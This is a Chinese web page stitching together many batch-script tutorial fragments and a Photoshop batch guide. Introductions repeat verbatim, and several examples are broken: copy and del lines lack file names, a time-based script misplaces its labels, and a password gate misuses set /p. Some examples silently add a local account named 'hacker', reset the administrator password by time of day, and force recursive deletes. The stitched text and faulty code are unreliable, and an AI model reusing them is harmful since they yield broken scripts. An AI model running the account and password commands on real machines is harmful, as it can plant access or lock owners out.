批处理简明教程精华版
批处理详细教程
这样的为bat命令格式和说明这样的为系统cmd命令行的说明这样的为例子这样的为注意事项目录第一部分:批处理的专用命令 (2)1、 REM(注释) (2)2、 ECHO(回显命令) (3)3、 GOTO(跳转) (3)4、CALL(调用另一个批处理) (3)5、PAUSE(停止) (4)6、 IF(判断) (4)1、 IF [NOT] ERRORLEVEL number command (5)2、 IF string1==string2 command (6)3、 IF [NOT] EXIST filename command (6)7、 FOR(循环) (7)1 /d 仅为目录 (7)2 /R 递归 (8)3 /L 迭代数值范围 (9)4 /f 默认以每一行来作为一个元素 (10)delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键 (12)tokens 当你通过delims将每一行分为更小的元素时,由它来控制要取哪一个或哪几个 (12)skip就是要忽略文件的前多少行 (14)eol用来指定当一行以什么符号开始时,就忽略它。
(14)8、 SETLOCAL(ENDLOCAL )(标记影响范围) (14)9、 SHIFT更改批处理文件中可替换参数的位置 (15)第二部分:特殊的符号与批处理 (16)1、符号(@)关闭当前行的回显 (16)2、符号(>)传递并覆盖 (16)3、符号(>>)传递并追加 (17)4、符号(|)将上一命令执行的结果传递给下一命令去处理 (18)5、符号(^)去掉><&的特殊功能 (19)6、符号(&)允许在一行中使用2个以上不同的命令(出错可以继续) (19)7、符号(&&)允许在一行中使用2个以上不同的命令(出错则停止) (19)8、符号(" ")允许在字符串中包含空格 (19)9、符号(,)相当于空格 (20)10、符号(;)当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。
十分经典的批处理教程精编版
十分经典的批处理教程这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
.先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
轻松快速 Photoshop批处理教程
轻松快速:Photoshop批处理教程Photoshop是一款功能强大的图像处理软件,其批处理功能可以帮助我们在图像处理过程中节省大量的时间和精力。
本教程将向您介绍如何使用Photoshop的批处理功能来批量处理图像。
第一步:准备工作在开始之前,确保您已安装好最新版本的Photoshop,并且您拥有一组需要进行批处理的图像。
这些图像可以位于同一个文件夹中,以便我们可以轻松地进行处理。
第二步:打开批处理功能在Photoshop中,点击“文件”菜单,然后选择“自动化”,再选择“批处理”选项。
这将打开批处理对话框。
第三步:设置批处理选项在批处理对话框中,首先选择要进行处理的文件夹。
点击“选择文件夹”按钮,然后浏览并选择包含要处理图像的文件夹。
接下来,选择您要应用的操作。
Photoshop提供了许多可用的操作选项,例如图像大小调整、色彩校正、滤镜应用等。
根据您的需求选择相应的操作选项。
然后,选择输出文件夹。
点击“选择文件夹”按钮,并指定一个输出文件夹,处理后的图像将保存在此文件夹中。
最后,如果您希望保持原始文件的不变,可以勾选“保存并关闭源文件”选项。
这样,在处理完成后,原始文件将保留在原始文件夹中,并且不会被修改。
第四步:设置操作的细节您还可以对每个操作的细节进行更详细的设置。
例如,如果您选择了图像大小调整操作,您可以指定要调整为的新尺寸。
如果您选择了色彩校正操作,您可以调整亮度、对比度和饱和度等参数。
在对每个操作的细节进行设置后,您可以点击“确定”按钮,然后Photoshop将开始批处理操作。
您可以在进度条中看到处理的进度,并可以随时取消操作。
第五步:保存处理后的图像处理完成后,Photoshop会自动将处理后的图像保存在您指定的输出文件夹中。
您可以在此文件夹中查看并使用这些处理后的图像。
批处理功能使我们能够在短时间内同时处理大量的图像,极大地提高了工作效率。
通过使用Photoshop的批处理功能,您可以轻松地对图像进行批量处理,无需花费过多的时间和精力。
最全批处理命令学习资料【完美版】
最全批处理命令学习资料【完美版】
批处理命令是一个强大的Windows命令行工具,用于在Windows平台上自动执行一些常见的任务。
使用批处理命令可以自动化一些重复的任务,从而节省时间和提高工作效率。
本文将提供一个最全的批处理命令学习资料,以帮助初学者快速入门。
批处理介绍
批处理是一个Windows命令行工具,可以自动执行一系列命令、复制文件、移动文件、压缩文件、打包文件等等。
它可以将一个或多个命令以及其参数组合在一个或多个.bat文件中。
一个.bat文件包含了许多命令,每个一行或多行,可以通过批处理脚本进行执行。
批处理命令主要是由操作符、参数和文件名组成,在使用批处理脚本的时候需要注意它们的使用规则。
下面将列举常用的批处理命令。
批处理命令详解
@echo off 命令
@echo off 命令用来控制批处理文件是否显示命令行中执行的语句,一般情况下建议开启该指令,以确保脚本的正确性。
echo 命令
echo 命令用于向屏幕输出信息或将输出的信息定向到一个文件中。
例如:
``` echo。
简明批处理教程
简明批处理教程电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。
echo、@、call、pause、rem是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 文件表示:echo off不显示命令行dir c:\*.* >a.txt将c盘文件列表写入a.txtcall c:\ucdos\ucdos.bat调用ucdosecho 你好显示"你好"pause 暂停,等待按键继续rem 使用wps 注释将使用wpscd ucdos进入ucdos目录wps 使用wps批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。
变量可以从%0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。
例如,C:根目录下一批处理文件名为f.bat,内容为format %1则如果执行C:\>f a: 则实际执行的是format a:又如C:根目录下一批处理文件的名为t.bat,内容为type %1 type %2那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
批处理教程
批处理教程批处理是一种用于编写一系列命令的脚本语言,它可以自动化执行一些常规的任务。
在早期的计算机系统中,批处理被广泛使用,因为它可以简化复杂的操作过程并提高工作效率。
本教程将介绍批处理的基础知识和常用命令,帮助读者快速了解和使用批处理。
一、什么是批处理批处理是一种文本文件,其中包含电脑执行的一系列命令。
它可以批量执行这些命令,而不需要用户手动输入每个命令。
批处理通常以“.bat”或“.cmd”为扩展名,并可以在命令提示符下执行。
二、批处理的基本语法批处理可以用任何文本编辑器创建,并以“.bat”或“.cmd”为后缀。
它通常由一系列命令组成,每个命令占用一行。
示例:@echo offecho Hello, World!pause以上示例中,“@echo off”是批处理中的一个特殊命令,表示不显示每个命令的执行结果。
如果不使用该命令,批处理会显示每个命令的执行过程。
“echo Hello, World!”将字符串“Hello, World!”输出到命令提示符窗口。
“pause”命令用于在执行完所有命令之后暂停批处理,直到用户按下任意键。
三、常用批处理命令1. echo:用于将文本输出到命令提示符窗口。
2. pause:暂停批处理的执行,直到用户按下任意键。
3. cd:改变当前目录。
4. dir:显示当前目录下的文件和文件夹列表。
5. copy:复制文件。
6. del:删除文件。
7. md:创建新的文件夹。
8. rd:删除文件夹。
9. rem:注释代码行,不会被批处理执行。
四、变量和运算符批处理允许使用变量和运算符来处理需要计算的值。
示例:set number=10set /A result=%number%+5echo %result%以上示例中,“set number=10”定义了一个名为“number”的变量,其值为10。
“set /A result=%number%+5”使用“/A”选项来对变量进行算术操作,将“number”的值与5相加,并将结果赋给“result”变量。
最全批处理命令学习资料【完美版】
一:批处理文件批处理文件是扩展名为·bat或·cmd的文本文件,包含一条或多条命令,由DOS或Windows系统内嵌的命令解释器来解释运行。
批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
二:常用命令:1.echo 和 @:@ #关闭单行回显echo off #从下一行开始关闭回显@echo off #从本行开始关闭回显,一般批处理第一行都是这个echo on #从下一行开始打开回显echo #显示当前是 echo off 状态还是 echo on 状态echo. #输出一个”回车换行”,空白行#(同echo, echo; echo+ echo[ echo] echo/ echo")2.errorlevelecho %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码默认值为0,一般命令执行出错会设 errorlevel 为1目录操作类命令:3.dir 显示磁盘目录命令dir #显示当前目录中的文件和子目录dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c: /a:d #显示 C 盘当前目录中的目录dir c: /a:-d #显示 C 盘根目录中的文件dir c:" /b/p #/b只显示文件名,/p分页显示dir c:" /b/p #/w不显示详细信息dir *.exe /s #显示当前目录和子目录里所有的.exe文件4.以树形显示当前路径文件夹结构tree /f #显示每个文件夹中文件的名字。
建立子目录md d:"a"b"c #如果 d:"a 不存在,将会自动创建中级目录#如果命令扩展名被停用,则需要键入 mkdir "a"b"c 改变当前目录(进入)cd \ #进入根目录cd #显示当前目录cd /d d:\sdk #可以同时更改盘符和目录cd .. #返回上一级目录删除子目录命令rd abc #删除当前目录里的 abc 子目录,要求为空目录rd /s/q d:\temp #删除 d:"temp 文件夹及其子文件夹和文件/q安静模式磁盘操作类命令:磁盘格式化命令检查磁盘当前状态命令建立磁盘卷标命令显示磁盘卷标命令文件操作类命令:12.copy 文件复制命令copy c:\ d:\复制 c:\ 文件到 d:\ ,并重命名为copy con从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为文件con代表屏幕,prn代表打印机,nul代表空设备copy +合并和的内容,保存为文件如果不指定,则保存到copy +复制文件到自己,实际上是修改了文件日期13.xcopy 目录复制命令xcopy c:\ d:\14.ren 文件改名命令ren d:\temp tmp #支持对文件夹的重命名15.attrib 修改文件属性命令attrib filename #查看文件属性+ #设置属性- #清除属性r #只读文件a #存档文件s #系统文件H #隐藏文件/S #处理当前文件夹及其所有子文件夹中的匹配文件/D #处理文件夹16.type 显示文件内容type c:\ #显示指定文件的内容,程序文件一般会显示乱码type *.txt #显示当前目录里所有.txt文件的内容17.del 删除文件命令del d:\ #删除指定文件,不能是隐藏、系统、只读文件del /q/a/f d:"temp"*.* #删除 d:"temp 文件夹里面的所有文件包括隐藏、只读、系统文件,不包括子目录del /q/a/f/s d:"temp"*.* #删除 d:"temp 及子文件夹里面的所有文件包括隐藏、只读、系统文件,不包括子目录其他命令:18.CLS 清屏幕命令19.ver 查看系统版本号命令20.time,date 系统时钟日期设置/显示命令date #显示当前日期,并提示输入新日期,按""回车""略过输入date/t #只显示当前日期,不提示输入新日期time #显示当前时间,并提示输入新时间,按""回车""略过输入time/t #只显示当前时间,不提示输入新时间21.rem 和 :: 注释注释行不执行操作22.color 设置默认的控制台前景和背景颜色逻辑命令:23.goto 和 :跳转命令:label #行首为:表示该行是标签行,标签行不执行操作goto label #跳转到指定的标签那一行24.set 定义变量引用变量可在变量名前后加 % ,即 %变量名%set #显示目前所有可用的变量,包括系统变量和自定义的变量echo %SystemDrive% #显示系统盘盘符。
批处理教程(完全版带目录)
前言这是一个十分经典的批处理教程,作者讲解的很详细,也很易懂,在这里感谢作者这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
.先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
批处理完整教程
批处理完整教程第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行, 他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么的!(以下内容来源网络,请在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用各位仔细阅读,好进入下节的实例说明)====================================== ================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、A TTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
其次, :: 也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
批处理bat详细教程完整版
批处理bat详细教程完整版一、交互界面设计没啥说的,看看高手设计的菜单界面吧:@echo offclstitle 终极多功能修复:menuclscolor 0Aecho.echo ============================== echo 请选择要进行的操作,然后按回车echo ============================== echo.echo 1.网络修复及上网相关设置,修复IE,自定义屏蔽网站echo. echo 2.病毒专杀工具,端口关闭工具,关闭自动播放echo. echo 3.清除所有多余的自启动项目,修复系统错误echo. echo 4.清理系统垃圾,提高启动速度echo.echo Q.退出echo.echo.:choset choice=set /p choice= 请选择:IF NOT "%choice%"=="" SET choice=%choice:~0,1%if /i "%choice%"=="1" goto ipif /i "%choice%"=="2" goto setsaveif /i "%choice%"=="3" goto kaijiif /i "%choice%"=="4" goto cleanif /i "%choice%"=="Q" goto enddecho 选择无效,请重新输入echo.goto cho只要学完本教程前面的章节,上面的程序应该能看懂了。
二、if…else…条件语句前面已经谈到,DOS条件语句主要有以下形式IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command增强用法:IF [/I] string1 compare-op string2 command增强用法中加上/I就不区分大小写了!增强用法中还有一些用来判断数字的符号:EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于上面的command命令都可以用小括号来使用多条命令的组合,包括else子句,组合命令中可以嵌套使用条件或循环命令。
批处理教程(最全版)
十分经典的批处理教程这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
.先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
批处理教程
批处理教程第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BAT!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)================================================== ====批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、ATTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
其次, :: 也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
批处理详解
批处理详解一:批处理是什么批处理是什么?我们学习批处理,先弄懂这个问题,个人认为第一批处理是一个文本文件,可以使用任何一种文本编辑器编写,正是基于这个特点有时候我们不想让别人看到我们书写的代码而使用bat2com和bat2exe将其转换成exe文件,第二批处理是一种解释性程序,它的功能类似于意念,说强很强说弱又很弱,说它是一种程序更重要的是它和其他编程语言一样有自己的控制结构!而且这个程序有个特点就是解释执行即逐行逐句的翻译执行,这个特点我们在后面还会提到!第三任何批处理都是一个DOS的外部命令,这使得我们在编写批处理的时候可以使用参数,这里的参数不是指DOS命令的命令参数,后面的内容会做解释!学习批处理第一个需要解决的问题就是特殊符号!二:批处理中的特殊符号学会批处理中的特殊符号对于我们学习编写批处理是非常有用的!这里我做了一下简单的整理——:、::、&、&&、>、>>、|、||、nul、con、%、(),成对出现的东西是非常容易记忆的,下面我们结合具体的操作仔细的理解!1:“:”与“::”“::”与rem命令是一样效果,起解释说明的作用,和C++中的/……/一样!“:”符号的作用是标记一个标签与goto语句一起使用,其格式为: label,这点与C或C++中的goto语句是截然相反的,在C或者C++中的格式为label:!举例说明:@echo off::标签的使用与goto语句goto test:testecho goto语句test当然goto语句的跳转是有条件,在后面的批处理结构中你会发现goto语句的魅力,这里只是为了更好的理解上面的两个特殊符号!2:“&”与“&&”“&”与“&&”符号的作用是连接两个命令同时执行,区别在于前者不管第一条命令的执行是否成功,都会执行第二条命令,而后者只有在第一条命令执行成功以后才执行后面的命令!例子我们在学完第三组命令“|”与“||”在举!3:“|”与“||”“|”符号的作用是将|前执行的命令结果作为其后DOS命令的参数,比如dir|find "2008",dir 命令查看当前目录的文件,然后所有目录的列表作为find "2008"的参数,也就是从该文件目录下查找所有2008年建立的文件!“||”符号的作用与“|”是截然不同的,它也是连接两个命令同时执行,不过是第一条命令执行错误的条件下才会执行第二条命令!编写如下代码,保存为checkuser.bat:@echo offset a=set/p a=请输入要查找的用户名net user %a% >nul 2>nul && echo 存在该用户|| echo 用户不存在.这是Visual bat程序安装目录中非常经典的一个批处理,它的作用是检查用户输入的帐户是否存在,当用户输入账户后,比如hacker,然后执行net user hacker,如果是存在该帐户也就是说命令执行成功了,那么就显示存在该用户,如果不存在该帐户也就是net user hacker命令没执行成功,就显示用户不存在,结合上面的内容我想您已经理解“||”“&&”“&”三者的微妙之处了!4:“nul”和“con”在checkuser.bat中,我们看到>nul 2>nul的句子,前者是当命令执行成功后不显示回显,比如net user hacker /ad >nul这样用户添加成功后也不会有提示,后者是命令执行错误后不显示回显,两者同时使用的结果就是不论命令执行是否成功,都不显示任何信息!对于“nul”这个特殊符号我们可以理解为空字符的意思,除了不显示回显,还可以使用它删除文件,copy nul >1.txt或者type nul>1.txt,这种删除方式是比较安全的,我想当初李开复如果使用这种方法删除文件,也许就不会招来因为跳槽而导致的官司!对于“con”,我们可以简单的理解为屏幕,在cmd下我们输入:copy *.txt con,可以连续打开多个txt文件以方便我们查看!5:“>”与“>>”“>”它的作用是创建一个文件比如echo hacking >1.txt,而“>>”的作用是将内容追加到一个文件后面,比如前面1.txt的内容为hacking,在CMD下输入echo hacker>>1.txt,那么1.txt 的内容为hackinghacker!6:“%”与“()”把这两个符号放一起有点牵强,“()”起分隔符的作用,在后面的批处理中你会理解这点,在批处理我们可以理解为存在两个分隔符一是空格另一个是括号,这时候的“()”类似于c或者c++中的语句结束符“;”,很多时候我们还使用它包括多条DOS命令,这时候又有点类似于c 或者c++中的{},起包含语句块的作用!“%”它的作用是表示变量,而且在批处理文件和在命令行下书写格式不一样,在命令行下使用%variables,在批处理中我们使用%%variables或者%variables%(不同命令使用不同格式),对于原因,我想它类似于c或者c++中的“转义”,在编程语言中,为了某些特殊的需要提出了“转义”的概念,顾名思义就是转变符号的原有意思,比如\a是响铃!举个例子来说明%的意思,在C++中我们要在屏幕上输出一个“\”,则应该写做cout<<"\\";,如果要输出两个“\”则应该写成cout<<"\\\";,这个过程有个很好听的名字“脱逸”,%也遵循了这样方法,在后面我们将结合for命令详细的说明!提到“%”号,就不得不说一下参数,所谓参数是在批处理文件(开始说的每个批处理文件是一个外部命令)后所添加的以空格分隔的字符串,它的使用方法是%1-9,参数是针对批处理文件做为一个外部命令来说的,虽然参数和变量不是一个概念,但是它是按变量来处理的,所以有时候我们也就称为变量了!举例说明!@echo offmd %1md %1\天下1md %1\天下2md %1\天下3保存为test.bat我们在CMD下输入:test.bat 天下,执行后会在批处理目录中建立一个名字为“天下”的文件夹而且在该文件夹下会一次建立三个子文件夹,这当我们输入“test.bat 天下”的时候“天下”就作为参数传递给了%1,即%1=天下!另外%variables%的作用是引用环境变量!环境变量可以简单理解为系统已经设置好的系统变量比如%systemroot$是c:\windows,%compsec%代表的是c:\windows\system32\cmd.exe,对于系统设置好的环境变量我们可以在CMD下输入set查询,当然我们也可以使用set命令设置环境变量!下面我们看批处理中的控制结构!三:批处理中控制结构批处理中有四种控制结构:if结构、goto结构、for循环结构、call结构!,对于call和goto 结构应该算是以类,主要是因为它们都具有跳转功能,让很多小批处理转化成大批处理,有点结构化程序设计的味道!call命令的作用是调用其他的批处理文件,比如:call test.bat,而goto语句在文章开始我们就做了解释,所以我们主要说的就是if结构与for循环结构,首先我们先理解条件这个词的意思,把世界看成一个连锁体系,每一个事情的前一个事情就是该事情的条件,举个简单的例子,我们坐公交车前需要有1元的零钱,这里1元的零钱就是我们坐车的一个条件,当然在批处理或者程序中就不能那么的表达,在C++中条件其实只有两种:一种靠关系运算符实现,一种靠逻辑运算符实现,批处理中也遵循了这样的规则,当然在批处理使用最多条件还是靠“=”来实现!(一)if结构在CMD下输入if /?,我们会发现if有三种结构,我们先看这三种结构!1:IF [NOT] exist filename command这应该是最简单的一种IF结构,例如if exsit c:\1.txt type 1.txt、if not exsit c:\1.txt echo xxx>c:\1.txt!2:IF [NOT] ERRORLEVEL number command对于number,在DOS时代这个东西有N多比如1、2、3等等而且每个数字都有不同的意义,并且多个number排列时还有规则,在Windows中其实我们只要注意0和1就可以了!0代表的是程序执行成功,1代表的是程序执行失败!我们可以简单将errorlevel理解为一个变量!所以这个命令还可以这样书写:IF [NOT] %ERRORLEVEL%==number command我们举个简单的例子:net user hacker 123 /adif %errorlevel%==0 echo 添加帐户成功上面的内容我们还可以这样写:net user hacker 123 /adif not %errorlevel%==1 echo 添加帐户成功这两种表达看似等效,其实并不等效,第一个是只有用户添加成功的时候才显示添加帐户,而第二种的意思是不管添加成功还是本机已经存在该帐户,都会显示添加帐户成功,它们之间存在细微的差别!not相当于一个修饰,大家要善于分析条件!3:IF [NOT] string1==string2 command这种if结构也是非常有用的,这里首先需要注意等号是两个,其次注意引号并不是必须的,我们可以不加引号,加引号只是为了防止空字符!举例说明,以前很多文章中都涉及到cmd加密器的问题,就是让用户在运行cmd的时候,首先输入密码!网上有更复杂的,其实批处理学到这里我们就可以写出一个比较简单的cmd 加密程序!@echo offset /p %%a=请输入密码if %%a==hacker goto test:testecho 密码正确,登陆成功start %comspec%3:if……else结构在运行上面的批处理过程中,你会发现我们输入任何字符都可以运行cmd!编辑如下代码就不会出现上面的问题了!@echo offset /p %%a=请输入密码if %%a==hacker (goto test) else goto error:testecho 密码正确,登陆成功start %comspec%:errorecho 密码错误这里我们不讨论为什么会出现这样的错误,我们看在批处理中if……else结构的具体使用!在文章开始我们提到批处理是逐行逐句解释执行的,所以我们在用到if……else语句时,最好直接写到一行,写到一行我们需要注意,将if后面的命令,简称if子句,用括号括起来就好了,我想原因也许还是逐行逐句解释执行的,这里的()起的作用和空格一样就是分隔作用(上面提到过),一句话if……else语句,在批处理需要放到一行,并且if子句需要用括号括起来!5:/i开关if结构语句中有一个开关/i,使用该开关,在执行字符串比较的时候不会区分大小写!而且还可以使用如下运算符:EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于书写如下代码:if /I %time% LEQ 06:00:00.00 goto g1if /I %time% LEQ 12:00:00.00 goto g2if /I %time% LEQ 18:00:00.00 goto g3if /I %time% LEQ 24:00:00.00 goto g4:g1net user administrator 123 && goto endg2:net user administrator 456 && goto endg3:net user administrator 789 && goto endg4:net user administrator 023 && goto end:endecho OK %time% 密码修改成功,下次登陆请注意这段代码的意思是根据当前系统时间自动修改计算机登陆密码!结合上面的解释,应该很容易明白,所以这里不在做说明!下面说批处理的精华所在for循环结构!(二):for循环结构1:for variable in (Set) do command (command-paremts)循环的意思是一次次的重复操作,至于操作什么,如何操作,操作多少次,我们都需要运用命令去自己设定!CMD下的for循环基本结构:for variable in (Set) do command (command-paremts)对于上面的结构首先我们先明确批处理中的for循环结构有三个关键字——for、in、do,这是使用for循环结构必不可少的!对于变量我们需要注意在批处理文件中遵循%%即双百分号,在cmd中一般使用%即单百分号,而且在for循环中变量只有52个,(a-z A-Z)可用,对于set的理解就多了,是一个很模糊的概念,可以是一个循环条件,也可以是一个文件、一个目录,command不仅可以是一堆DOS命令,还可以是一个批处理文件,所以后面才可以添加command-paremts!比如for %i in (*.bat *.txt) do del %%i, 这条语句是指,在当前目录下搜索所有BAT和TXT 文件,并逐个将搜索到的文件名存入变量%%i中,每搜索到一个,就执行del命令删除%%i 变量中指定的文件。
高手必备:简明批处理教程
